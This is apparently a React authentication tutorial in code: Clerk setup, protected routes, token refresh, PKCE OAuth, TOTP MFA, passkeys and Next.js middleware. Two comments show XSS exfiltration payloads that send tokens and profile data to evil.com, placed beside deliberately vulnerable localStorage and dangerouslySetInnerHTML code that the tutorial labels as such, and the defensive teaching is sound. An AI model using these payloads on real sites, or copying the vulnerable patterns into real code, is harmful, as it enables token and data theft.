React Authentication: From Protected Routes to Passkeys

import { StrictMode } from 'react'
import { createRoot } from 'react-dom/client'
import { ClerkProvider } from '@clerk/react'
import App from './App.tsx'

createRoot(document.getElementById('root')!).render(
  <StrictMode>
    <ClerkProvider afterSignOutUrl="/">
      <App />
    </ClerkProvider>
  </StrictMode>,
)

import { Show, SignInButton, SignUpButton, UserButton } from '@clerk/react'

export default function App() {
  return (
    <div>
      <header>
        <Show when="signed-out">
          <SignInButton />
          <SignUpButton />
        </Show>
        <Show when="signed-in">
          <UserButton />
        </Show>
      </header>
      <main>{/* Your app content */}</main>
    </div>
  )
}

import { Navigate, Outlet, useLocation } from 'react-router-dom'
import { useAuth } from '../providers/AuthProvider'

export function ProtectedRoute() {
  const { user, isLoading } = useAuth()
  const location = useLocation()

  if (isLoading) {
    return <div>Loading...</div>
  }

  if (!user) {
    return <Navigate to="/sign-in" state={{ from: location }} replace />
  }

  return <Outlet />
}

import { createBrowserRouter } from 'react-router-dom'
import { ProtectedRoute } from './components/ProtectedRoute'
import { Home } from './pages/Home'
import { SignIn } from './pages/SignIn'
import { Dashboard } from './pages/Dashboard'
import { Settings } from './pages/Settings'

export const router = createBrowserRouter([
  { path: '/', element: <Home /> },
  { path: '/sign-in', element: <SignIn /> },
  {
    element: <ProtectedRoute />,
    children: [
      { path: '/dashboard', element: <Dashboard /> },
      { path: '/settings', element: <Settings /> },
    ],
  },
])

import { Navigate, Outlet, useLocation } from 'react-router-dom'
import { useAuth } from '@clerk/react'

export function ProtectedRoute() {
  const { isLoaded, isSignedIn } = useAuth()
  const location = useLocation()

  if (!isLoaded) {
    return <div>Loading...</div>
  }

  if (!isSignedIn) {
    return <Navigate to="/sign-in" state={{ from: location }} replace />
  }

  return <Outlet />
}

import {
  createContext,
  useCallback,
  useContext,
  useEffect,
  useMemo,
  useReducer,
  useRef,
} from 'react'

interface User {
  id: string
  email: string
}

interface AuthState {
  user: User | null
  isLoading: boolean
}

type AuthAction =
  | { type: 'SET_USER'; user: User }
  | { type: 'CLEAR_USER' }
  | { type: 'SET_LOADING'; isLoading: boolean }

const AuthStateContext = createContext<AuthState | null>(null)
const AuthActionsContext = createContext<{
  login: (email: string, password: string) => Promise<void>
  logout: () => Promise<void>
} | null>(null)

function authReducer(state: AuthState, action: AuthAction): AuthState {
  switch (action.type) {
    case 'SET_USER':
      return { user: action.user, isLoading: false }
    case 'CLEAR_USER':
      return { user: null, isLoading: false }
    case 'SET_LOADING':
      return { ...state, isLoading: action.isLoading }
  }
}

export function AuthProvider({ children }: { children: React.ReactNode }) {
  const [state, dispatch] = useReducer(authReducer, {
    user: null,
    isLoading: true,
  })
  const accessTokenRef = useRef<string | null>(null)

  useEffect(() => {
    // Silent refresh on mount: exchange refresh token (httpOnly cookie)
    // for a new access token
    fetch('/api/auth/refresh', { credentials: 'include' })
      .then((res) => (res.ok ? res.json() : Promise.reject()))
      .then(({ user, accessToken }) => {
        accessTokenRef.current = accessToken
        dispatch({ type: 'SET_USER', user })
      })
      .catch(() => dispatch({ type: 'CLEAR_USER' }))
  }, [])

  const login = useCallback(async (email: string, password: string) => {
    const res = await fetch('/api/auth/login', {
      method: 'POST',
      credentials: 'include',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ email, password }),
    })
    const { user, accessToken } = await res.json()
    accessTokenRef.current = accessToken
    dispatch({ type: 'SET_USER', user })
  }, [])

  const logout = useCallback(async () => {
    await fetch('/api/auth/logout', {
      method: 'POST',
      credentials: 'include',
    })
    accessTokenRef.current = null
    dispatch({ type: 'CLEAR_USER' })
  }, [])

  const actions = useMemo(() => ({ login, logout }), [login, logout])

  return (
    <AuthStateContext.Provider value={state}>
      <AuthActionsContext.Provider value={actions}>{children}</AuthActionsContext.Provider>
    </AuthStateContext.Provider>
  )
}

export function useAuth() {
  const state = useContext(AuthStateContext)
  const actions = useContext(AuthActionsContext)
  if (!state || !actions) throw new Error('useAuth must be used within AuthProvider')
  return { ...state, ...actions }
}

import { useAuth, useUser } from '@clerk/react'

export function Dashboard() {
  const { isLoaded, userId, getToken } = useAuth()
  const { user } = useUser()

  if (!isLoaded) return <div>Loading...</div>

  return (
    <div>
      <h1>Welcome, {user?.firstName}</h1>
      <p>User ID: {userId}</p>
    </div>
  )
}

// ❌ VULNERABLE: Any XSS payload can steal this token
export function saveToken(token: string) {
  localStorage.setItem('authToken', token)
}

export function getToken(): string | null {
  return localStorage.getItem('authToken')
}

// An attacker's XSS payload:
// fetch('https://evil.com/steal?token=' + localStorage.getItem('authToken'))

// ✅ SECURE: Module-scoped variable, inaccessible to XSS injected scripts
let accessToken: string | null = null

export function setAccessToken(token: string | null) {
  accessToken = token
}

export function getAccessToken(): string | null {
  return accessToken
}

import axios, { AxiosError, InternalAxiosRequestConfig } from 'axios'
import { getAccessToken, setAccessToken } from './token-manager'

const api = axios.create({ baseURL: '/api' })

let isRefreshing = false
let failedQueue: Array<{
  resolve: (token: string) => void
  reject: (error: unknown) => void
}> = []

function processQueue(error: unknown, token: string | null) {
  failedQueue.forEach(({ resolve, reject }) => {
    if (error) {
      reject(error)
    } else {
      resolve(token!)
    }
  })
  failedQueue = []
}

api.interceptors.request.use((config: InternalAxiosRequestConfig) => {
  const token = getAccessToken()
  if (token) {
    config.headers.Authorization = `Bearer ${token}`
  }
  return config
})

api.interceptors.response.use(
  (response) => response,
  async (error: AxiosError) => {
    const originalRequest = error.config as InternalAxiosRequestConfig & {
      _retry?: boolean
    }

    if (error.response?.status !== 401 || originalRequest._retry) {
      return Promise.reject(error)
    }

    if (isRefreshing) {
      return new Promise((resolve, reject) => {
        failedQueue.push({
          resolve: (token) => {
            originalRequest.headers.Authorization = `Bearer ${token}`
            resolve(api(originalRequest))
          },
          reject,
        })
      })
    }

    originalRequest._retry = true
    isRefreshing = true

    try {
      const { data } = await axios.post('/api/auth/refresh', {}, { withCredentials: true })
      setAccessToken(data.accessToken)
      processQueue(null, data.accessToken)
      originalRequest.headers.Authorization = `Bearer ${data.accessToken}`
      return api(originalRequest)
    } catch (refreshError) {
      processQueue(refreshError, null)
      setAccessToken(null)
      window.location.href = '/sign-in'
      return Promise.reject(refreshError)
    } finally {
      isRefreshing = false
    }
  },
)

export default api

export function generateCodeVerifier(): string {
  const array = new Uint8Array(32)
  crypto.getRandomValues(array)
  return btoa(String.fromCharCode(...array))
    .replace(/\+/g, '-')
    .replace(/\//g, '_')
    .replace(/=+$/, '')
}

export async function generateCodeChallenge(verifier: string): Promise<string> {
  const encoder = new TextEncoder()
  const data = encoder.encode(verifier)
  const digest = await crypto.subtle.digest('SHA-256', data)
  return btoa(String.fromCharCode(...new Uint8Array(digest)))
    .replace(/\+/g, '-')
    .replace(/\//g, '_')
    .replace(/=+$/, '')
}

import { generateCodeVerifier, generateCodeChallenge } from './pkce'

const OAUTH_ENDPOINTS: Record<'google' | 'github', string> = {
  google: 'https://accounts.google.com/o/oauth2/v2/auth',
  github: 'https://github.com/login/oauth/authorize',
}

export async function initiateOAuth(provider: 'google' | 'github') {
  const codeVerifier = generateCodeVerifier()
  const codeChallenge = await generateCodeChallenge(codeVerifier)
  const state = crypto.randomUUID()

  // Store verifier and state for the callback
  sessionStorage.setItem('pkce_verifier', codeVerifier)
  sessionStorage.setItem('oauth_state', state)

  const params = new URLSearchParams({
    client_id: import.meta.env.VITE_OAUTH_CLIENT_ID,
    redirect_uri: `${window.location.origin}/oauth/callback`,
    response_type: 'code',
    scope: 'openid email profile',
    code_challenge: codeChallenge,
    code_challenge_method: 'S256',
    state,
  })

  window.location.href = `${OAUTH_ENDPOINTS[provider]}?${params}`
}

import { useSignIn } from '@clerk/react'

export function SocialLogin() {
  const { signIn, errors, fetchStatus } = useSignIn()

  const handleGoogleSignIn = async () => {
    const { error } = await signIn.sso({
      strategy: 'oauth_google',
      redirectCallbackUrl: '/sso-callback',
      redirectUrl: '/',
    })

    if (error) {
      console.error(JSON.stringify(error, null, 2))
    }
    // If no error, the browser redirects to Google
  }

  return (
    <div>
      <button onClick={handleGoogleSignIn} disabled={fetchStatus === 'fetching'}>
        {fetchStatus === 'fetching' ? 'Redirecting...' : 'Continue with Google'}
      </button>
      {errors.fields.identifier && <p>{errors.fields.identifier.message}</p>}
    </div>
  )
}

import { useEffect, useRef } from 'react'
import { useClerk, useSignIn, useSignUp } from '@clerk/react'
import { useNavigate } from 'react-router-dom'

export function SSOCallback() {
  const clerk = useClerk()
  const { signIn } = useSignIn()
  const { signUp } = useSignUp()
  const navigate = useNavigate()
  const hasRun = useRef(false)

  const handleNavigate = async ({
    session,
    decorateUrl,
  }: {
    session: { currentTask?: { key: string } | null }
    decorateUrl: (url: string) => string
  }) => {
    if (session?.currentTask) {
      // Handle required post-auth steps (e.g., setup-mfa)
      navigate(`/post-auth/${session.currentTask.key}`)
      return
    }
    const url = decorateUrl('/')
    if (url.startsWith('http')) {
      window.location.href = url
    } else {
      navigate(url)
    }
  }

  useEffect(() => {
    if (hasRun.current) return
    hasRun.current = true

    async function handleCallback() {
      // Sign-in completed
      if (signIn.status === 'complete') {
        await signIn.finalize({ navigate: handleNavigate })
        return
      }

      // User tried to sign up with existing account; transfer to sign-in
      if (signUp.isTransferable) {
        await signIn.create({ transfer: true })
        if (signIn.status === 'complete') {
          await signIn.finalize({ navigate: handleNavigate })
        }
        return
      }

      // User tried to sign in but has no account; transfer to sign-up
      if (signIn.isTransferable) {
        await signUp.create({ transfer: true })
        if (signUp.status === 'complete') {
          await signUp.finalize({ navigate: handleNavigate })
        }
        return
      }

      // Handle existing session
      if (signIn.existingSession || signUp.existingSession) {
        const sessionId = signIn.existingSession?.sessionId || signUp.existingSession?.sessionId
        await clerk.setActive({
          session: sessionId,
          navigate: handleNavigate,
        })
      }
    }

    handleCallback()
  }, [])

  return <div>Completing sign-in...</div>
}

import { useState } from 'react'
import { useUser, useReverification } from '@clerk/react'
import type { TOTPResource } from '@clerk/shared/types'
import { QRCodeSVG } from 'qrcode.react'

export function SetupTOTP() {
  const { user } = useUser()
  const [totp, setTotp] = useState<TOTPResource | null>(null)
  const [code, setCode] = useState('')
  const [verified, setVerified] = useState(false)

  const createTOTP = useReverification(() => user?.createTOTP())

  const handleSetup = async () => {
    const totpResource = await createTOTP()
    if (totpResource) {
      setTotp(totpResource)
    }
  }

  const handleVerify = async () => {
    await user?.verifyTOTP({ code })
    setVerified(true)
  }

  if (verified) {
    return <p>MFA enabled.</p>
  }

  if (totp) {
    return (
      <div>
        <QRCodeSVG value={totp.uri} />
        <p>Scan this QR code with your authenticator app, then enter the code below.</p>
        <input
          type="text"
          value={code}
          onChange={(e) => setCode(e.target.value)}
          placeholder="Enter 6-digit code"
        />
        <button onClick={handleVerify}>Verify</button>
      </div>
    )
  }

  return <button onClick={handleSetup}>Set up two-factor authentication</button>
}

import { useState } from 'react'
import { useSignIn } from '@clerk/react'
import { useNavigate } from 'react-router-dom'

export function MFAVerification() {
  const { signIn, errors, fetchStatus } = useSignIn()
  const [code, setCode] = useState('')
  const navigate = useNavigate()

  const handleVerify = async () => {
    await signIn.mfa.verifyTOTP({ code })

    if (signIn.status === 'complete') {
      await signIn.finalize({
        navigate: async ({ session, decorateUrl }) => {
          if (session?.currentTask) {
            navigate(`/post-auth/${session.currentTask.key}`)
            return
          }
          const url = decorateUrl('/')
          url.startsWith('http') ? (window.location.href = url) : navigate(url)
        },
      })
    }
  }

  return (
    <div>
      <h2>Enter your verification code</h2>
      <input
        type="text"
        value={code}
        onChange={(e) => setCode(e.target.value)}
        placeholder="6-digit code"
      />
      <button onClick={handleVerify} disabled={fetchStatus === 'fetching'}>
        Verify
      </button>
      {errors.fields.code && <p>{errors.fields.code.message}</p>}
    </div>
  )
}

// Raw WebAuthn registration (simplified, showing the complexity)
async function registerPasskey(userId: string) {
  // 1. Fetch challenge from your server
  const options = await fetch('/api/webauthn/register-options', {
    method: 'POST',
    body: JSON.stringify({ userId }),
  }).then((r) => r.json())

  // 2. Call the browser's credential API
  const credential = await navigator.credentials.create({
    publicKey: {
      challenge: Uint8Array.from(options.challenge, (c) => c.charCodeAt(0)),
      rp: { name: 'Your App', id: window.location.hostname },
      user: {
        id: Uint8Array.from(userId, (c) => c.charCodeAt(0)),
        name: options.userName,
        displayName: options.displayName,
      },
      pubKeyCredParams: [
        { type: 'public-key', alg: -7 }, // ES256
        { type: 'public-key', alg: -257 }, // RS256
      ],
      authenticatorSelection: {
        residentKey: 'required',
        userVerification: 'preferred',
      },
      timeout: 60000,
    },
  })

  // 3. Send credential to server for verification and storage
  await fetch('/api/webauthn/register-verify', {
    method: 'POST',
    body: JSON.stringify(credential),
  })
}

import { useState } from 'react'
import { useUser } from '@clerk/react'

export function CreatePasskey() {
  const { user } = useUser()
  const [status, setStatus] = useState<'idle' | 'creating' | 'done'>('idle')

  const handleCreate = async () => {
    setStatus('creating')
    try {
      await user?.createPasskey()
      setStatus('done')
    } catch {
      setStatus('idle')
    }
  }

  if (status === 'done') return <p>Passkey created.</p>

  return (
    <button onClick={handleCreate} disabled={status === 'creating'}>
      {status === 'creating' ? 'Creating passkey...' : 'Add a passkey'}
    </button>
  )
}

import { useSignIn } from '@clerk/react'
import { useNavigate } from 'react-router-dom'

export function PasskeySignIn() {
  const { signIn, errors, fetchStatus } = useSignIn()
  const navigate = useNavigate()

  const handlePasskeySignIn = async () => {
    await signIn.passkey({ flow: 'discoverable' })

    if (signIn.status === 'complete') {
      await signIn.finalize({
        navigate: async ({ session, decorateUrl }) => {
          if (session?.currentTask) {
            navigate(`/post-auth/${session.currentTask.key}`)
            return
          }
          const url = decorateUrl('/')
          url.startsWith('http') ? (window.location.href = url) : navigate(url)
        },
      })
    }
  }

  return (
    <div>
      <button onClick={handlePasskeySignIn} disabled={fetchStatus === 'fetching'}>
        Sign in with passkey
      </button>
      {errors.global?.[0] && <p>{errors.global[0].message}</p>}
    </div>
  )
}

import { useState } from 'react'
import { useSignIn } from '@clerk/react'

export function SignInForm() {
  const { signIn, errors, fetchStatus } = useSignIn()
  const [email, setEmail] = useState('')
  const [password, setPassword] = useState('')

  const handleSubmit = async (e: React.FormEvent) => {
    e.preventDefault()
    await signIn.password({ emailAddress: email, password })
    // signIn.status updates automatically, triggering re-render
  }

  return (
    <form onSubmit={handleSubmit}>
      <input value={email} onChange={(e) => setEmail(e.target.value)} />
      {errors.fields.identifier && <p>{errors.fields.identifier.message}</p>}

      <input type="password" value={password} onChange={(e) => setPassword(e.target.value)} />
      {errors.fields.password && <p>{errors.fields.password.message}</p>}

      <button disabled={fetchStatus === 'fetching'}>
        {fetchStatus === 'fetching' ? 'Signing in...' : 'Sign in'}
      </button>
    </form>
  )
}

// ❌ VULNERABLE: User-controlled HTML rendered directly
export function InsecureProfile({ bio }: { bio: string }) {
  return <div dangerouslySetInnerHTML={{ __html: bio }} />
  // An attacker sets their bio to:
  // <img src=x onerror="fetch('/api/me').then(r=>r.json()).then(d=>fetch('https://evil.com/steal',{method:'POST',body:JSON.stringify(d)}))">
}

// ✅ SECURE: React escapes content by default
export function SecureProfile({ bio }: { bio: string }) {
  return <div>{bio}</div>
  // React escapes <, >, &, ", ' so no script execution is possible
}

import DOMPurify from 'dompurify'

export function SafeRichText({ html }: { html: string }) {
  return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }} />
}

import { clerkMiddleware, createRouteMatcher } from '@clerk/nextjs/server'

const isProtectedRoute = createRouteMatcher(['/dashboard(.*)', '/settings(.*)', '/api(.*)'])

export default clerkMiddleware(async (auth, req) => {
  if (isProtectedRoute(req)) {
    await auth.protect()
  }
})

import { auth } from '@clerk/nextjs/server'
import { redirect } from 'next/navigation'

export default async function DashboardPage() {
  const { userId, orgId } = await auth()

  if (!userId) {
    redirect('/sign-in')
  }

  return (
    <div>
      <h1>Dashboard</h1>
      <p>User: {userId}</p>
      {orgId && <p>Organization: {orgId}</p>}
    </div>
  )
}

'use server'

import { auth } from '@clerk/nextjs/server'

export async function updateProfile(formData: FormData) {
  const { userId } = await auth()

  if (!userId) {
    throw new Error('Unauthorized')
  }

  const name = formData.get('name') as string
  // Perform the update with verified userId
  await db.users.update({ where: { id: userId }, data: { name } })
}